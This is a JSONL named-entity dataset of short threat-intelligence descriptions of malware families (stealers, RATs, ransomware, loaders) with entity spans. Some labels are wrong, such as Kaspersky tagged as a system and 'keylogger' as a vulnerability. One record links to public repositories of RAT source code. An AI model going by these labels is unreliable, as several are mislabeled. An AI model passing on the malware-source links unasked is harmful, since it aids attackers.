+{"text": "SYSCON is a Remote Access Trojan used in a targeted champing against US government agencies. It has been recently observed  in conjunction with CARROTBAT and CARROTBALL downloaders and it uses the File Transfer Protocol as Command and Control channel. Use of the family is attributed by Unit 42 to the Konni Group.", "spans": {"MALWARE: SYSCON": [[0, 6]], "ORGANIZATION: Unit 42": [[287, 294]], "MALWARE: CARROTBAT": [[144, 153]], "MALWARE: Konni": [[302, 307]], "MALWARE: CARROTBALL": [[158, 168]]}, "info": {"source": "apt_reports", "name": "Syscon"}}
+{"text": "Sysjoker is a backdoor malware that was first discovered in December 2021 by Intezer. It is sophisticated and written from scratch in C++. Sysjoker is a cross-platform malware that has Linux, Windows, and macOS variants. Possible attack vectors for Sysjoker are email attachments, malicious advertisements, and trojanized software.", "spans": {"MALWARE: Sysjoker": [[0, 8], [139, 147], [249, 257]], "SYSTEM: macOS": [[205, 210]], "SYSTEM: Windows": [[192, 199]], "SYSTEM: Linux": [[185, 190]], "ORGANIZATION: Intezer": [[77, 84]]}, "info": {"source": "apt_reports", "name": "SysJoker"}}
+{"text": "Sysraw stealer got its name because at some point, it was started as \"ZSysRaw\\sysraw.exe\". PDB strings suggest the name \"Clipsa\" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named \"1?[-+].dat\" and POSTs them.", "spans": {"MALWARE: Sysraw stealer": [[0, 14]], "MALWARE: Clipsa": [[121, 127]]}, "info": {"source": "apt_reports", "name": "Sysraw Stealer"}}
+{"text": "Sysrv is a Golang written Cryptojacking malware. There are Windows and Linux variants.", "spans": {"SYSTEM: Windows": [[59, 66]], "SYSTEM: Linux": [[71, 76]], "MALWARE: Sysrv": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Sysrv-hello"}}
+{"text": "SystemBC is a multiplatform proxy malware active since August 2019. It creates SOCKS5 network tunnels in the victim’s network and connects to its C2 server using a custom, RC4-encrypted protocol. It can also download and execute additional malware, with payloads either written to disk or mapped into memory. The SystemBC kit, including the C2 panel, server, and malware executables, is sold in underground forums.", "spans": {"MALWARE: SystemBC": [[0, 8], [313, 321]]}, "info": {"source": "apt_reports", "name": "SystemBC"}}
+{"text": "This ransomware uses a combination of different crypto algorithms (ChaCha20, AES-128, Curve25519). The activity of this malware is dated to mid-June 2021. The extension of the encrypted files are set to the compromised company: .<target_company>\r\nA decryptor was released on 2022-02-07 by AVAST", "spans": {}, "info": {"source": "apt_reports", "name": "TargetCompany"}}
+{"text": "According to Zscaler, Taurus is a stealer that surfaced in June 2020. It is being developed by the author(s) that previously created Predator the Thief. The name overlaps partly with the StealerOne / Terra* family (also aliased Taurus Loader) but appears to be a completely disjunct project.", "spans": {"ORGANIZATION: Zscaler": [[13, 20]], "MALWARE: StealerOne": [[187, 197]], "MALWARE: Predator": [[133, 141]]}, "info": {"source": "apt_reports", "name": "Taurus Stealer"}}
+{"text": "Steve Miller pointed out that it is proxy-aware (Tencent) for C&C communication and uses wolfSSL, which makes it stick out.", "spans": {}, "info": {"source": "apt_reports", "name": "TClient"}}
+{"text": "F-Secure described tDiscoverer (also known as HammerDuke) as interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a C&C communication channel. Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date. If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute.", "spans": {"MALWARE: tDiscoverer": [[19, 30]], "MALWARE: HammerDuke": [[46, 56], [199, 209], [313, 323], [452, 462]], "SYSTEM: .NET": [[98, 102]], "ORGANIZATION: F-Secure": [[0, 8]]}, "info": {"source": "apt_reports", "name": "tDiscoverer"}}
+{"text": "Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer.\r\nThis is achieved by sideloading another DLL among the legit TeamViewer.", "spans": {"TOOL: TeamViewer": [[271, 281], [447, 457]], "ORGANIZATION: Check Point": [[10, 21]]}, "info": {"source": "apt_reports", "name": "TeamBot"}}
+{"text": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.", "spans": {"MALWARE: TEARDROP": [[0, 8], [363, 371]], "THREAT_ACTOR: Cobalt": [[492, 498]], "TOOL: Cobalt Strike": [[492, 505]], "ORGANIZATION: Microsoft": [[189, 198]], "ORGANIZATION: FireEye": [[433, 440]], "MALWARE: BEACON": [[506, 512]]}, "info": {"source": "apt_reports", "name": "TEARDROP"}}
+{"text": "According to Check Point, this is a Telegram-focused infostealer (FTP / Delphi) used to target Iranian expats and dissidents.", "spans": {"SYSTEM: Telegram": [[36, 44]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "TelAndExt"}}
+{"text": "According to Check Point, this is a Telegram-focused infostealer (SOAP / Delphi) used to target Iranian expats and dissidents.", "spans": {"SYSTEM: Telegram": [[36, 44]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "TelB"}}
+{"text": "Cisco Talos reports that this is a data exfiltration tool used by TA505.", "spans": {"THREAT_ACTOR: TA505": [[66, 71]], "SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Teleport"}}
+{"text": "According to PCrisk, Tellyouthepass is one of many ransomware-type programs used to block access to files by encryption and keep them in this state unless a ransom is paid.\r\n\r\nThe program renames all encrypted files by adding the \".locked\" extension and creates a ransom message in a text file called \"README.html\". For example, \"1.jpg\" is renamed by Tellyouthepass to \"1.jpg.locked\".\r\n\r\nAccording to cyber criminals, this ransomware encrypts data using RSA-1024 and AES-256 cryptography algorithms.", "spans": {"MALWARE: Tellyouthepass": [[21, 35], [351, 365]], "ORGANIZATION: PCrisk": [[13, 19]], "ORGANIZATION: RSA": [[454, 457]]}, "info": {"source": "apt_reports", "name": "TellYouThePass"}}
+{"text": "According to Cyble, this is a stealer targeting several crypto currency wallets along browser data.", "spans": {}, "info": {"source": "apt_reports", "name": "TempStealer"}}
+{"text": "According to Gen, this is a potential internal test build that marks the transition of Lumma Stealer to a 64 bit version.", "spans": {"MALWARE: Lumma Stealer": [[87, 100]]}, "info": {"source": "apt_reports", "name": "Tenzor"}}
+{"text": "TerraLogger is a standalone keylogger malware developed by Golden Chickens, a financially motivated threat actor. It uses a common low-level keyboard hook to record keystrokes and writes the logs to local files. The malware is typically delivered as an OCX file and employs initial execution checks before proceeding. Upon execution, it opens a file handle to log keystrokes and implements its keylogger using a SetWindowsHookExA hook. Keystrokes are written to the open log file, with special characters handled accordingly. Five distinct TerraLogger samples were identified, reflecting minor updates and active development.", "spans": {"MALWARE: TerraLogger": [[0, 11], [540, 551]], "VULNERABILITY: keylogger": [[28, 37], [394, 403]]}, "info": {"source": "apt_reports", "name": "Terralogger"}}
+{"text": "According to QuoINT TerraRecon is a reconnaissance tool, looking for a specific piece of hardware and software targeting retail and payment services sectors. Attributed to Golden Chickens.", "spans": {"MALWARE: TerraRecon": [[20, 30]]}, "info": {"source": "apt_reports", "name": "TerraRecon"}}
+{"text": "According to QuoINT, TerraStealer (also known as SONE or StealerOne) is a generic reconnaissance tool, targeting for example email clients, web browsers, and file transfer utilities. Attributed to Golden Chickens.", "spans": {"MALWARE: TerraStealer": [[21, 33]], "MALWARE: StealerOne": [[57, 67]], "MALWARE: SONE": [[49, 53]]}, "info": {"source": "apt_reports", "name": "TerraStealer"}}
+{"text": "TerraTV is a custom DLL designed to hijack legit TeamViewer applications. It was discovered and documented by QuoINT. It has been attributed to Golden Chickens malware as a service group.", "spans": {"MALWARE: TerraTV": [[0, 7]], "TOOL: TeamViewer": [[49, 59]]}, "info": {"source": "apt_reports", "name": "TerraTV"}}
+{"text": "According to Kaspersky, detected in February 2015, the new ransomware Trojan gained immediate notoriety as a menace to computer gamers. Amongst other types of target files, it tries to infect typical gaming files: game saves, user profiles, recoded replays etc. That said, TeslaCrypt does not encrypt files that are larger than 268 MB. Recently,", "spans": {"MALWARE: TeslaCrypt": [[273, 283]], "SYSTEM: Kaspersky": [[13, 22]]}, "info": {"source": "apt_reports", "name": "TeslaCrypt"}}
+{"text": "According to Cisco Talos, this is loader is written in Rust and was observed to stage Cobalt Strike Beacons and VShell.", "spans": {"THREAT_ACTOR: Cobalt": [[86, 92]], "TOOL: Cobalt Strike": [[86, 99]], "SYSTEM: Rust": [[55, 59]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]], "MALWARE: VShell": [[112, 118]]}, "info": {"source": "apt_reports", "name": "Tetra Loader"}}
+{"text": "TFlower is a new ransomware targeting mostly corporate networks discovered in August, 2019. It is reportedly installed on networks by attackers after they gain access via RDP. TFlower displays a console showing activity being performed by the ransomware when it encrypts a machine, further indicating that this ransomware is triggered by the attacker post compromise, similar to Samsam/Samas in terms of TTP. Once encryption is started, the ransomware will conduct a status report to an apparently hard-coded C2. Shadow copies are deleted and the Windows 10 repair environment is disabled by this ransomware. This malware also will terminate any running Outlook.exe process so that the mail files can be encrypted. This ransomware does not add an extention to encrypted files, but prepends the marker \"*tflower\" and what may be the encrypted encryption key for the file to each affected file. Once encryption is completed, another status report is sent to the C2 server.", "spans": {"MALWARE: TFlower": [[0, 7], [176, 183]], "TOOL: RDP": [[171, 174]], "SYSTEM: Windows 10": [[547, 557]], "SYSTEM: Windows": [[547, 554]], "SYSTEM: Outlook": [[654, 661]], "MALWARE: Samas": [[386, 391]]}, "info": {"source": "apt_reports", "name": "TFlower"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "ThunderX"}}
+{"text": "TigerLite is a TCP downloader.\r\n\r\nIt creates mutexes like \"qtrgads32\" or \"Microsoft32\".\r\n\r\nIt uses RC4 with the key \"MicrosoftCorporationValidation@#$%^&*()!US\" for decryption of its character strings, and a custom algorithm for encryption and decryption of network traffic. \r\n\r\nIt supports from 5 up to 8 commands with the following identifiers: 1111, 1234, 2099/3333, 4444, 8877, 8888, 9876, 9999. The commands mostly perform various types of execution - either of code received from the server, or native Windows commands, with their output collected and sent back to the server.\r\n\r\nTigerLite is an intermediate step of a multi-stage attack, in which Tiger RAT is usually the next step. This malware was observed in attacks against South Korean entities in H1 2021.", "spans": {"MALWARE: TigerLite": [[0, 9], [586, 595]], "SYSTEM: Windows": [[508, 515]], "MALWARE: Tiger RAT": [[654, 663]]}, "info": {"source": "apt_reports", "name": "TigerLite"}}
+{"text": "This is third stage backdoor mentioned in the Kaspersky blog, \"Andariel evolves to target South Korea with ransomware\". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment.\r\nThe backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.", "spans": {"SYSTEM: Kaspersky": [[46, 55]], "SYSTEM: Chrome": [[315, 321]], "SYSTEM: Internet Explorer": [[287, 304]], "ORGANIZATION: Google": [[308, 314]], "MALWARE: Andariel": [[63, 71]]}, "info": {"source": "apt_reports", "name": "Tiger RAT"}}
+{"text": "Standalone implant. Potentially tied to a framework called PATROLWAGON.", "spans": {}, "info": {"source": "apt_reports", "name": "tildeb"}}
+{"text": "F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.\r\n\r\nIf Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.\r\n\r\nTinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.", "spans": {"MALWARE: Tinba": [[40, 45], [234, 239], [319, 324], [528, 533], [762, 767]], "MALWARE: TinyBanker": [[20, 30]], "ORGANIZATION: F-Secure": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Tinba"}}
+{"text": "TinyFluff is a dropper developed by the OldGremlin group. In one of their March '22 campaigns, TinyFluff included a JavaScript RAT with a time-independent DGA.", "spans": {"MALWARE: TinyFluff": [[0, 9], [95, 104]], "THREAT_ACTOR: OldGremlin": [[40, 50]]}, "info": {"source": "apt_reports", "name": "TinyFluff"}}
+{"text": "TinyMet is a meterpreter stager.", "spans": {"MALWARE: TinyMet": [[0, 7]]}, "info": {"source": "apt_reports", "name": "TinyMet"}}
+{"text": "TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program's author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.", "spans": {"MALWARE: TinyNuke": [[0, 8], [631, 639]], "MALWARE: Nuclear Bot": [[14, 25]], "MALWARE: XBot": [[606, 610]], "TOOL: VNC": [[85, 88]]}, "info": {"source": "apt_reports", "name": "TinyNuke"}}
+{"text": "Cisco Talos states that TinyTurla-NG is a small “last chance” backdoor that is left behind to be used when all other unauthorized access/backdoor mechanisms have failed or been detected on the infected systems. TinyTurla-NG was seen as early as December 2023 targeting a Polish non-governmental organization (NGO) working on improving Polish democracy and supporting Ukraine during the Russian invasion.", "spans": {"SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]], "MALWARE: TinyTurla": [[24, 33], [211, 220]]}, "info": {"source": "apt_reports", "name": "TinyTurlaNG"}}
+{"text": "Talos describes this as a malware family with very scoped functionality and thus a small code footprint, likely used as a second chance backdoor.", "spans": {"ORGANIZATION: Talos": [[0, 5]]}, "info": {"source": "apt_reports", "name": "TinyTurla"}}
+{"text": "The stealer is written in Go and capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files.", "spans": {"SYSTEM: Windows": [[92, 99]], "SYSTEM: Go": [[26, 28]]}, "info": {"source": "apt_reports", "name": "TitanStealer"}}
+{"text": "According to PCrisk, Tofsee (also known as Gheg) is a malicious Trojan-type program that is capable of performing DDoS attacks, mining cryptocurrency, sending emails, stealing various account credentials, updating itself, and more.\r\n\r\nCyber criminals mainly use this program as an email-oriented tool (they target users' email accounts), however, having Tofsee installed can also lead to many other problems.", "spans": {"MALWARE: Tofsee": [[21, 27], [354, 360]], "MALWARE: Gheg": [[43, 47]], "ORGANIZATION: PCrisk": [[13, 19]], "VULNERABILITY: DDoS": [[114, 118]]}, "info": {"source": "apt_reports", "name": "Tofsee"}}
+{"text": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.", "spans": {"MALWARE: TONEDEAF": [[0, 8], [249, 257]]}, "info": {"source": "apt_reports", "name": "TONEDEAF"}}
+{"text": "According to Symantec, Grager was deployed against three organizations in Taiwan, Hong Kong, and Vietnam in April 2024. Analysis of the backdoor revealed that it used the Graph API to communicate with a C&C server hosted on Microsoft OneDrive. Grager was downloaded from a typosquatted URL mimicking the open-source file archiver 7-Zip.", "spans": {"TOOL: 7-Zip": [[330, 335]], "SYSTEM: Symantec": [[13, 21]], "ORGANIZATION: Microsoft": [[224, 233]], "MALWARE: Grager": [[23, 29], [244, 250]]}, "info": {"source": "apt_reports", "name": "TONERJAM"}}
+{"text": "Torisma is a complex HTTP(S) downloader, that can serve as an orchestrator handling the execution of additional payloads from the C&C server.\r\n\r\nIt uses VEST-32 for encryption and decryption of network traffic between the client and the server. \r\n\r\nTypically, it uses these parameter names for its HTTP POST requests: ACTION, CODE, CACHE, REQUEST, RES. It sends the victim's MAC address in the initial request.\r\n\r\nThe response of the server informing the client about a successful authentication is \"Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}\". The client then requests additional data from the server, that decrypts to shellcode and its data parameters, and is executed. The client also creates a named pipe, \\\\.\\pipe\\fb4d1181bb09b484d058768598b, that allows inter-process communication with the executed shellcode. \r\n\r\nTorisma was usually downloaded by NedDnLoader, and deployed in the Operation DreamJob campaigns starting around Q4 2019.", "spans": {"MALWARE: Torisma": [[0, 7], [842, 849]], "MALWARE: NedDnLoader": [[876, 887]]}, "info": {"source": "apt_reports", "name": "Torisma"}}
+{"text": "Downloader, delivered via a lure with fake exploits published on Github.", "spans": {}, "info": {"source": "apt_reports", "name": "TorLoader"}}
+{"text": "According to Google Threat Intelligence Group, this malware uses Google Calendar events for command and control (C2).", "spans": {"ORGANIZATION: Google": [[13, 19], [65, 71]]}, "info": {"source": "apt_reports", "name": "TOUGHPROGRESS"}}
+{"text": "ToxicEye is a ransomware that spreads through phishing emails. The malware encrypts system files with AES-256 and demands a ransom in Bitcoin.", "spans": {"MALWARE: ToxicEye": [[0, 8]], "VULNERABILITY: phishing": [[46, 54]]}, "info": {"source": "apt_reports", "name": "ToxicEye"}}
+{"text": "According to Trend Micro, this is a backdoor abusing the Dropbox API, used by threat actor Earth Yako.", "spans": {"THREAT_ACTOR: Earth Yako": [[91, 101]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "TransBox"}}
+{"text": "tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.", "spans": {"MALWARE: tRat": [[0, 4]]}, "info": {"source": "apt_reports", "name": "tRat"}}
+{"text": "A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.\r\n\r\n- Q4 2016 - Detected in wild\r\nOct 2016 - 1st Report\r\n2017 - Trickbot primarily uses Necurs as vehicle for installs.\r\nJan 2018 - Use XMRIG (Monero) miner\r\nFeb 2018 - Theft Bitcoin\r\nMar 2018 - Unfinished ransomware module\r\nQ3/4 2018 - Trickbot starts being spread through Emotet.\r\n\r\nInfection Vector\r\n1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot\r\n2. Phish > Attached MS Office > Macro Enabled > Downloader > Trickbot\r\n3. Phish > Attached MS Office > Macro enabled > Trickbot installed", "spans": {"MALWARE: Trickbot": [[273, 281], [446, 454], [569, 577], [640, 648], [698, 706]], "TOOL: VNC": [[157, 160]], "MALWARE: Dyre": [[50, 54]], "MALWARE: Report": [[258, 264]], "MALWARE: Emotet": [[483, 489]]}, "info": {"source": "apt_reports", "name": "TrickBot"}}
+{"text": "According to PCrisk, Trigona is ransomware that encrypts files and appends the \"._locked\" extension to filenames. Also, it drops the \"how_to_decrypt.hta\" file that opens a ransom note. An example of how Trigona renames files: it renames \"1.jpg\" to \"1.jpg._locked\", \"2.png\" to \"2.png._locked\", and so forth.\r\n\r\nIt embeds the encrypted decryption key, the campaign ID, and the victim ID in the encrypted files.", "spans": {"MALWARE: Trigona": [[21, 28], [203, 210]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Trigona"}}
+{"text": "Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.", "spans": {}, "info": {"source": "apt_reports", "name": "Triton"}}
+{"text": "Trochilus is a C++ written RAT, which is available on GitHub. \r\nGitHub Repo:\r\n- https://github.com/m0n0ph1/malware-1/tree/master/Trochilus\r\n- https://github.com/5loyd/trochilus", "spans": {"URL: https://github.com/m0n0ph1/malware-1/tree/master/Trochilus": [[80, 138]], "URL: https://github.com/5loyd/trochilus": [[142, 176]], "SYSTEM: GitHub": [[54, 60], [64, 70]]}, "info": {"source": "apt_reports", "name": "Trochilus RAT"}}
+{"text": "According to Malwarebyte, Ransomware is a type of malware that prevents users from accessing their system or personal files and demands ransom payment in order to regain access. Ransom.Troldesh is spread by malspam, typically in the form of attached .zip files. This ransomware sometimes uses a CMS on a compromised site to host downloads.", "spans": {"MALWARE: Troldesh": [[185, 193]]}, "info": {"source": "apt_reports", "name": "Troldesh"}}
+{"text": "Tropidoor is an advanced HTTP/S Remote Access Trojan (RAT) written as a C project, which exhibits significant code overlap with the PostNapTea RAT. In November 2024, it was deployed in campaigns targeting developers via fake recruiters as part of a social engineering campaign distributing trojanized open-source projects on platforms like Bitbucket. It is a final-stage payload in a multi-stage execution chain, which also deployed an obfuscated BeaverTail malware.\r\n\r\nThe RAT uses RSA and AES for encryption and decryption of network traffic. Communication with the C2 uses specific HTTP POST parameters, including tropi2p, gumi, s_width, and letter, with the first parameter loosely inspiring its code name. It stores its configuration in a binary format and resolves required Windows APIs during runtime via the Fowler–Noll–Vo (FNV) hash function. Many of its characteristic strings are XOR encrypted.\r\n\r\nA key technical feature is its custom implementation of various Windows administrative and reconnaissance commands. By implementing this functionality internally, the RAT avoids executing the legitimate Windows binaries, making its command execution activities harder to detect by behavioral monitoring tools. Custom implemented commands include functionality equivalent to standard utilities like:\r\n\r\narp\r\ndir\r\nipconfig\r\nkill\r\nnet\r\nnetsh\r\nnetstat\r\nnslookup\r\nping\r\nreg\r\nrm\r\nsc\r\nschtasks\r\nsysteminfo\r\ntracert\r\nwmic logicaldisk\r\nwmic process", "spans": {"MALWARE: Tropidoor": [[0, 9]], "TOOL: schtasks": [[1387, 1395]], "TOOL: wmic": [[1418, 1422], [1436, 1440]], "TOOL: ipconfig": [[1321, 1329]], "SYSTEM: Windows": [[780, 787], [973, 980], [1112, 1119]], "SYSTEM: Bitbucket": [[340, 349]], "ORGANIZATION: RSA": [[483, 486]], "MALWARE: netsh": [[1342, 1347]], "MALWARE: netstat": [[1349, 1356]], "MALWARE: PostNapTea": [[132, 142]], "MALWARE: BeaverTail": [[447, 457]]}, "info": {"source": "apt_reports", "name": "Tropidoor"}}
+{"text": "TrustConnect RAT is a malware-as-a-service remote access trojan disguised as a legitimate remote monitoring tool. It gives attackers full control of infected systems through a web dashboard, allowing them to manage compromised devices, run commands, transfer files, collect system data, initiate remote desktop sessions, and record screens via standard SSL/TLS-protected web APIs.\r\n\r\nDocConnect RAT is an upgraded and reengineered version of TrustConnect RAT. It fixes earlier security and detection weaknesses (such as poor credential storage, weak persistence, and detectable command-and-control mechanisms) while adding new capabilities, including an interactive multi-session terminal, stronger process protection against termination, a fake Windows Update overlay for deception, and a PDF-based lure and delivery system.", "spans": {"MALWARE: TrustConnect RAT": [[0, 16], [442, 458]], "SYSTEM: Windows": [[746, 753]]}, "info": {"source": "apt_reports", "name": "TrustConnect RAT"}}
+{"text": "TsunamiKit is a multi-stage malware toolkit written in Python and .NET.\r\n\r\nThe execution chain consists of several modules—including TsunamiLoader, TsunamiInjector, TsunamiInstaller, TsunamiPayload and the core TsunamiClient. The name is derived from the developer's recurring use of \"Tsunami\" in its components, e.g. \"C# Tsunami Dist Version 3.0.0\" or \"Tsunami Stable\\Tsunami Payload\".\r\n\r\nThe primary purpose of the core module depends on the variant. It either carries out information theft by exfiltrating browser data, or monetize its presence by dropping cryptocurrency miners like XMRig and NBMiner. It also fingerprints the compromised system and uses the Tor network for command-and-control (C&C) communication. \r\n\r\nWhile it was delivered by the InvisibleFerret malware in November 2024, older samples dating back to November 2021 suggest TsunamiKit is a pre-existing dark web project adapted by the APT actors.", "spans": {"MALWARE: TsunamiKit": [[0, 10], [847, 857]], "TOOL: Tor": [[663, 666]], "SYSTEM: Python": [[55, 61]], "SYSTEM: .NET": [[66, 70]], "MALWARE: InvisibleFerret": [[754, 769]]}, "info": {"source": "apt_reports", "name": "TsunamiKit"}}
+{"text": "According to its Github repo, Tuoni is a sophisticated, cross-platform red teaming framework designed to enhance cybersecurity education and training through large-scale cyber defense exercises. Developed using Java for robustness, Docker for versatility, and featuring an intuitive web browser interface, it supports and streamlines cyber exercises. With its modular, extendable plugin system, Tuoni offers Red Teamers the flexibility to tailor its capabilities for specific educational and exercise needs. Its user-friendly interface facilitates easy operation and efficient reporting, essential in training environments. Tuoni embodies a commitment to power, adaptability, and collaboration, aimed at empowering Red Teamers with a tool that meets the dynamic demands of modern cyber defense education.", "spans": {"MALWARE: Tuoni": [[30, 35], [395, 400], [624, 629]], "SYSTEM: Java": [[211, 215]], "SYSTEM: Docker": [[232, 238]]}, "info": {"source": "apt_reports", "name": "Tuoni"}}
+{"text": "According to Mitre, Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.", "spans": {"MALWARE: Turian": [[20, 26], [235, 241]], "THREAT_ACTOR: BackdoorDiplomacy": [[63, 80]]}, "info": {"source": "apt_reports", "name": "turian"}}
+{"text": "TYPEFRAME is a RAT. \r\n\r\nIt supports ~25 commands that include operations on the victim’s filesystem, manipulation with its configuration, modification of the system's firewall, the download and execution of additional tools from the attacker’s C&C and the uninstall via a self-delete batch. The commands are indexed by 16-bit integers, starting with the value 0x8000.\r\n\r\nThe RAT uses RC4 for decryption of its binary configuration. It has a statically linked OpenSSL 0.9.8k library used for SSL communication.", "spans": {"MALWARE: TYPEFRAME": [[0, 9]], "SYSTEM: OpenSSL": [[459, 466]]}, "info": {"source": "apt_reports", "name": "TYPEFRAME"}}
+{"text": "According to PCrisk, Typhon is a stealer-type malware written in the C# programming language. Newer versions of this program are called Typhon Reborn (TyphonReborn). Malware within this classification is designed to extract data from infected systems. The older variants of Typhon have a broader range of functionalities, while Typhon Reborn versions are streamlined stealers.", "spans": {"ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Typhon Stealer"}}
+{"text": "A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.", "spans": {"SYSTEM: Windows 10": [[99, 109]], "SYSTEM: Windows": [[87, 94], [99, 106]], "SYSTEM: Windows 7": [[87, 96]]}, "info": {"source": "apt_reports", "name": "UACMe"}}
+{"text": "Information stealer.", "spans": {}, "info": {"source": "apt_reports", "name": "UFR Stealer"}}
+{"text": "Umbral is a data-stealing Trojan that targets Windows systems. It spreads through phishing emails and malicious attachments. Once installed, Umbral can steal a variety of data, including usernames, passwords, online banking credentials, and confidential files. It can also change computer settings and execute harmful commands. Umbral is a serious security threat and should be removed immediately if found.", "spans": {"MALWARE: Umbral": [[0, 6], [141, 147], [328, 334]], "SYSTEM: Windows": [[46, 53]], "VULNERABILITY: phishing": [[82, 90]]}, "info": {"source": "apt_reports", "name": "Umbral"}}
+{"text": "Unnamed ransomware that camouflages as a program performing system cleanup called \"System Analyzer Pro\".", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 030 (Ransomware)"}}
+{"text": "RAT written in Delphi used by Patchwork APT.", "spans": {"MALWARE: Patchwork": [[30, 39]]}, "info": {"source": "apt_reports", "name": "Unidentified 047"}}
+{"text": "Unnamed portscanner as used in the Australian Parliament Hack (Feb 2019).", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 057"}}
+{"text": "Was previously wrongly tagged as PoweliksDropper, now looking for additional context.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 061"}}
+{"text": "This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.", "spans": {"SYSTEM: Python": [[229, 235]]}, "info": {"source": "apt_reports", "name": "Unidentified 066"}}
+{"text": "Zeus derivate, no known public references.", "spans": {"MALWARE: Zeus": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Unidentified 069 (Zeus Unnamed2)"}}
+{"text": "Unidentified downloader, possibly related to KONNI.", "spans": {"MALWARE: KONNI": [[45, 50]]}, "info": {"source": "apt_reports", "name": "Unidentified 070 (Downloader)"}}
+{"text": "MSI-based loader that has been observed as a stager for win.metamorfo.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 072 (Metamorfo Loader)"}}
+{"text": "Unpacked http_dll.dat from the blog post.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 075"}}
+{"text": "Suspected Zebrocy loader written in Nim.", "spans": {"MALWARE: Zebrocy": [[10, 17]]}, "info": {"source": "apt_reports", "name": "Unidentified 078 (Zebrocy Nim Loader?)"}}
